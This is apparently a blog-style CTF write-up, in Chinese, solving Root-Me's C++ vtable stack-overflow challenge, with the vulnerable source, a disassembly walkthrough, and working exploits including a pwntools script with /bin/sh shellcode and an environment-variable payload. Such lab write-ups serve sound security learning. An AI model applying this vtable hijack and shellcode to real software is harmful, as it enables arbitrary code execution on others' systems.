#WP ELF x86 - Stack buffer overflow - C++ vtables

题目地址:rootme

0x01 题目分析

Source Code:

#include 
#include 
#include 
#include 
#include 

// g++ -m32 ch20.cpp -o ch20 -z execstack

class formatter
{
public :
    virtual int  RTTI(  )  =0 ;
    virtual void  displayName(  )  =0 ;
    virtual void format( const char * ptr )  =0 ;

};

class UpperFormatter: public formatter
{
public :


    virtual int  RTTI(  )  { return 1; };

    virtual void  displayName(  )  { printf ("UpperFormatter"); }

    virtual void format( const char * ptr )
    {
        const char * cptr = ptr;
        while (*cptr)
        {
            printf("%c", toupper(*cptr));
            cptr++;
        }
    }
};


class LowerFormatter: public formatter
{
public :
    virtual int  RTTI(  )  { return 2; };

    virtual void  displayName(  )  { printf ("UpperFormatter"); }

    virtual void format( const char * ptr )
    {
        const char * cptr = ptr;
        while (*cptr)
        {
            printf("%c", tolower(*cptr));
            cptr++;
        }
    }
};
#define SIZE (80)
class MyStringFormatter
{
public:
    MyStringFormatter( formatter * pFormatter  ):m_pFormatter(pFormatter),m_Id(1) {};
    void GetInput(int padding )  {
        memset(str ,' ' , SIZE  ); fgets(str+padding,SIZE,stdin); }
    void display() const{m_pFormatter->format(str) ;}
protected:
    char str[SIZE];
    formatter * m_pFormatter ;
    int m_Id;
};




int main(int argc, char* argv[])
{
    printf("Padding : 1-5\r\n");
    char size[4];
    int padding  = atoi(fgets(size,4,stdin));
    if (padding <0 || padding >5)
    {
        printf ("Padding error\r\n");
        exit(0);
    }
    printf("\r\n\r\n\tConvert in : \r\n");
    printf("\t  1: uppercase  \r\n");
    printf("\t  2: lowercase  \r\n");
    int choice  = atoi(fgets(size,4,stdin));

    formatter * pformatter = NULL;
    switch (choice)
    {
    case 1:
        pformatter =  new UpperFormatter ;

        break;
    case 2:
        pformatter =  new LowerFormatter ;
        break;
    }
    if (pformatter == NULL)
    {
        printf ("Bad choice!\r\n");
        exit(0);
    }
    MyStringFormatter formatter(pformatter  );
    printf("String to convert: \r\n");
    formatter.GetInput(padding);
    formatter.display();

    return 0;

}

程序中定义了一个基类formatter和两个派生类UpperFormatter和LowerFormatter。在基类中定义了三个虚函数在派生类中都有了实现。之后定义了一个MyStringFormatter类,在该类中定义了一个大小为80Bytes的buffer(str),和一个指向formatter类对象的指针m_pFormatter,当该类的构造函数被调用时,这个对象就会被派生为UpperFormatter或LowerFormatter类的实现。
MyStringFormatter类中定义了两个构造函数:

  1. GetInput(padding):使用padding+输入来填充str
  2. display():调用format方法进行格式转换并输出

在main()中定义了MyStringFormatter类对象formatter,编译器会首先开辟80字节的地址给str。然后编译器看到formatter类对象指针的定义,就会去浏览基类的定义,并为三个虚函数各预留4bytes用于存放虚函数指针”VPTR” (Virtual Pointer)

0x02 漏洞分析

在Getinlut()中,由于padding的存在,使得padding+输入的长度超过了str的80字节,而往往虚函数指针的位置就在str之后的四个字节里,因此可以通过溢出控制程序跳转。

0x03 漏洞利用

S1:确定VPTR位置

由于display()函数中调用了虚函数,反汇编display函数可得到VPTR的位置
#WP ELF x86 - Stack buffer overflow - C++ vtables_第1张图片

  • ebp+0x8指向输入字符串的起始位置
    重点是这几句:
0x56555bee <+22>:   mov    eax,DWORD PTR [ebp+0x8]
0x56555bf1 <+25>:   mov    eax,DWORD PTR [eax+0x50]
0x56555bf4 <+28>:   mov    eax,DWORD PTR [eax]
0x56555bf6 <+30>:   add    eax,0x8
0x56555bf9 <+33>:   mov    eax,DWORD PTR [eax]
                   ........
0x56555c03 <+43>:   call   eax

这几句完成了虚函数表的跳转:

  • 第一行:ebp+0x8中存放的是str起始地址,将str起始地址放入eax中
  • 第二行:eax+0x50(80)为str的结尾(也就是VPTR的地址),将VPTR中存放的内容(设为A1)放入eax中
  • 第三行:将A1指向的内容(设为A2)存入eax中
  • 第四行:eax+0x8(A2+8)
  • 第五行:将A2+8指向的内容存入eax中(称为FinalAddr)
  • 第六行:调用FinalAddr

    很绕对不对!!!

S2:构造exp

有两种方法可以构造exp
方案一:将shellcode输入到str中
由于虚表要完成好多次跳转,我构造的exp应该是长这个样子的:
#WP ELF x86 - Stack buffer overflow - C++ vtables_第2张图片
- AAAA:存放BBBB的地址
- BBBB:其中存放4个nop
- N:nop
- CCCC:存放shellcode的地址
- VVVV:存放AAAA的地址,即str的起始地址
exp如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *
context(log_level = 'debug')
p=process("./ch20")
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
#p=gdb.debug("./ch20")
p.recvuntil("Padding : 1-5\r\n")
a=5
p.sendline("5")
b=2
p.recvuntil("2: lowercase  \r\n")
p.sendline("2")
p.recvuntil("String to convert: \r\n")
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
payload=""
#payload+="\x90"*20+shellcode+"\x90"*31
payload+=p32(0xffffd361)#AAAA中存放BBBB的地址
payload+="\x90"*8
payload+=p32(0xffffd361+0x8+0x4)#CCCC中存放shellcode的地址
payload+="\x90"*35
payload+=shellcode
payload+=p32(0xffffd35d)#VVVV中存放AAAA的地址
p.sendline(payload)
p.interactive()

方案二:将shellcode写入环境变量

将方案一中的exp在rootme服务器上运行时会出现两个问题:

  1. 服务器上没有pwntools,无法交互输入、
  2. 调试时str起始地址和运行时不同,无法确定str的起始地址
    针对问题一,经bill大哥提醒,可以将所有要输入的内容作为一个参数输入就可以(不知道为什么但是真的可以)
    针对问题二,可以将shellcode写入环境变量中,然后使用脚本获取环境变量的首地址,这招在遇到无法确定地址时屡试不爽,详情可见我的另一篇博客环境变量溢出

首先我们创建一个环境变量,样子和方案一中str长的一样,不过VVVV可以没有
这里写图片描述
注:0x90*35那里也可以没有那么多,懒得改了
在/tmp写一个c语言脚本getenv用于获取环境变量首地址

#include
#include 
#include 
#include 
//gcc -o getenv getenv.c
int main(int argc, char *argv[]) {
   char *ptr;

   if(argc < 3) {
      fprintf(stderr, "Usage: %s  \n", argv[0]);
      exit(1);
   }

   /* Get env var location. */
   ptr = getenv(argv[1]);

   /* Adjust for program name. */
   ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
   printf("%s will be at %p\n", argv[1], ptr);
}

#WP ELF x86 - Stack buffer overflow - C++ vtables_第3张图片
修改环境变量中的地址
这里写图片描述
此时我们输入包含选项、填充和环境变量首地址的payload

cat <(python -c 'print "5\n2\n"+"A"*75+"\x60\xfd\xff\xbf"') - | ./ch20

得到shell
#WP ELF x86 - Stack buffer overflow - C++ vtables_第4张图片

你可能感兴趣的:(Rootme)